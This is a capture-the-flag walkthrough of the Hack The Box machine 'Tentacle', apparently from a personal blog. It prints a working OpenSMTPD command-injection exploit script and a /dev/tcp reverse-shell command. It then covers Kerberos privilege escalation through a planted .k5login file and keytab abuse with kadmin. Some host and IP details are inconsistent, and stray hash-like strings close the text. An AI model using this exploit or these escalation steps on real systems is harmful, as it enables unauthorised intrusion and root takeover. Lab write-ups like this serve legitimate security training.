TENTACLE

Hey guys Mahesh here back again with another writeup and today we'll be solving HTB machine called as Tentacle so lets hop over to our terminal ..

Machine	**INFO**
Name	Tentacle
IP	10.10.10.224
POINTS	40
OS	LINUX
DIFFICULTY	HARD
OUT ON	23 JAN 2021
CREATER	polarbearer

1. After running Nmap i got 3 PORTS open as 53 , 88 , 3128 thw webserver is running on 3128 port and we also got a username and subdomain

2. after fuzzing those **10.10.10.224** we got a lots of domains so lets use proxychains (apt-get install proxychains4) add these proxies inside /etc/proxychains.conf

3. By running nmap on .31 ip wpad.realcorp.htb we found a wpad.bat file which contains the two ip 10.197.243.0 and 10.243.251.0 after scanning the ip range we got a vulnerable openSMTPD on 10.243.251.31 which can be exploited using the following exploit : https://blog.firosolutions.com/exploits/opensmtpd-remote-vulnerability/

```
import socket, time
import sys
if len(sys.argv) < 4:
    print("usage: getShell.py <host> <port> <command>")
    exit()
HOST = sys.argv[1]
PORT = int(sys.argv[2])
rev_shell_cmd = sys.argv[3]
payload = b"""\r\n

#0\r\n
#1\r\n
#2\r\n
#3\r\n
#4\r\n
#5\r\n
#6\r\n
#7\r\n
#8\r\n
#9\r\n
#a\r\n
#b\r\n
#c\r\n
#d\r\n
""" + rev_shell_cmd.encode() + b"""
.
"""
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC, socket.SOCK_STREAM):
    af, socktype, proto, canonname, sa = res
    try:
        s = socket.socket(af, socktype, proto)
    except OSError as msg:
        s = None
        continue
    try:
        s.connect(sa)
    except OSError as msg:
        s.close()
        s = None
        continue
    break
if s is None:
    print('could not open socket')
    sys.exit(1)
with s:
    data = s.recv(1024)
    print('Received', repr(data))
    time.sleep(1)
    print('SENDING HELO')
    s.send(b"helo test.com\r\n")
    data = s.recv(1024)
    print('RECIEVED', repr(data))
    s.send(b"MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>\r\n")
    time.sleep(1)
    data = s.recv(1024)
    print('RECIEVED', repr(data))
    s.send(b"RCPT TO:<j.nakazawa@realcorp.htb>\r\n")
    data = s.recv(1024)
    print('RECIEVED', repr(data))
    s.send(b"DATA\r\n")
    data = s.recv(1024)
    print('RECIEVED', repr(data))
    s.send(payload)
    data = s.recv(1024)
```

```
    print('RECIEVED', repr(data))
    s.send(b"QUIT\r\n")
    data = s.recv(1024)
    print('RECIEVED', repr(data))
print("Exploited Check you netcat :D")
s.close()
```

4. use proxychains firefox wpad.realcorp.htb also add that IP inside /etc/hosts as **10.243.251.31 wpad.raelcorp.htb**

5. now run **proxychains python3 getshell.py 10.241.251.113 25 'bash -c "exec bash -i &> /dev/tcp/ip/port <&1"'**

6. Now we got the root shell as user **smtp**

7. there is a intresting file called as **j.nakzawa** is home folder whcih contains creds

8. We can't authenticate to it using ssh so we need to use the kerbos ticket in order to log-in (quickly install it using apt-get install krb5-user)

9. now edit the /etc/hosts file and /etc/krb5.conf make sure to have **10.10.10.224 srv01.realcorp.htb** in hosts file and

default_realm = REALCORP.HTB

```
REALCORP.HTB = {
        kdc = 10.10.10.224
}
```

10. generate the ticket using **kinit j.nakazawa** command

11. now we can log-in using ssh j.nakazawa it wont ask for password now ..

12. when we cat out the /etc/crontab we found a file log_backup.sh lets cat it out ..

13. it backups everything from /var/log/squid to /home/admin folder it means if we put something inside squid file it will copy it in admin folder ..

14. Now create a file **.k5login** and paste this in it **j.nakazawa@REALCORP.HTB** and **cp .k5login /var/log/squid**

15. after a few time try to login as **ssh admin@srv01.realcorp.htb**

16. we are admin now after enumerating a bit we found the file called as **/etc/krb5.keytab**

keytab is a file which lets you authenticate a various kerberos system using kereberos (without password)

18. Now run

> kadmin -k -t /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB

in the kadmin console add this principal and change the password and type exit

> add_principal root@REALCORP.HTB

19. Now run **ksu root** and we are done now !!!

IF YOU LIKE THIS POST MAKE SURE TO LIKE SHARE AND COMMENT !!

6oPgtRE0IgWrXKitG
$Z5FyXxEXm5l.skZbIBKm0poPFPUxgZVY5DPii0DFsQgSBiL98ioRBuHDVzOHaZCgH.xyLnpGIksHlfBXC4I